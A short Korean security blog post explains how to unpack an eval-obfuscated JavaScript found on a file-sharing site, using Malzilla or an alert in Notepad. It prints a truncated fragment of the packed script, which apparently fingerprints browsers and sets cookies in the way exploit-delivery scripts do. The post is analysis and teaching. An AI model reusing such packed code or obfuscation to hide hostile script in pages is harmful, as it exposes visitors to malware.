본문 바로가기

security/악성코드 유포

Eval 로 된 스크립트 간단하게 풀기 !!

한 공유 사이트를 보던중 있길래 그냥 적어 봤습니다....

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function
(중략)
(e)}}}}}};',62,95,'|||114|||101|||105|61|32|104|var||109|111|116|97|102
|48|60|108|if|navigator|100|UAver|function|62|110|103|99|115|49|indexOf
|else||||appVersion|document|length|return|runits|String|119|catch|try
|write|fromCharCode|for|47|46|98|Array|Thens|IEms|DDDD|CCCC|checknet
|BBBB|AAAA|substring|parseFloat|IEme|MSIE|isxp|noruns|false|true|Windows
|userAgent|118|Moox94nx6dx4xy3n8M|cookie|new|isNaN|Explorer|Internet|Microsoft
|appName|XP|NT|50727|CLR|NET|toGMTString|expires|path|nY4d6LxJ4m2rn|1000
|144|getTime|setTime|Date'.split('|'),0,{}))

위에서와 보이다 싶히 ...... eval 로 꼬여 놓았네요 ~
제가 eval 을 푸는 방법은 예전에 한 분 께서 가르쳐 주신 alert 로 하는것 입니다.
물론 malzilla 를 통해서도 하는 방법이 있습니다 !
나오는 방식은 둘다 같습니다 !

1. malzilla


다음과 같이 쉽게 실행만 시켜주면 나오게 됩니다 !

2. 메모장에서 !!


2번 모두 똑같은 코드를 출력하게 됩니다!

이렇게한다면 이제는 eval 코드는 쉽게 누구나 넘길 수 있겠지요??

이런 유용항 방법 들을 가르쳐주신 !

B 님과 C 님께 다시한번 감사하다는 말을 전하면서 글을 마칩니다 !!!